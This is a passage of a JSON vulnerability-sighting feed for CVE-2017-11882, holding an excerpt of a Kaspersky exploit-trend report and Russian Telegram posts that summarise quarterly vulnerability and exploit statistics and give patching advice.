vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:23.310868Z"}, {"uuid": "1cd66496-c03e-46be-be6b-142b4ecb59d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5ddc086f-42d0-4308-a0ca-0ef1ac1e0d58", "content": "", "creation_timestamp": "2026-05-09T04:27:32.000000Z"}, {"uuid": "b36a43c6-4aa9-47b9-a8f9-0f6bfe124528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-04T13:00:18.598412Z"}, {"uuid": "b03b85a8-4630-436a-8d60-8f97cdc12555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-30T01:00:04.316816Z"}, {"uuid": "8b6d8244-ac5e-4ea8-b272-9328a3fb0b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/securixy_kz/126", "content": "\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u00a0\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 Agent Tesla\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u00a0\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 Agent Tesla \u0441\u00a0\u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u043e\u0439 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 OLE, RTF-\u0444\u0430\u0439\u043b\u044b \u0438\u00a0\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\n\u0416\u0435\u0440\u0442\u0432\u0430 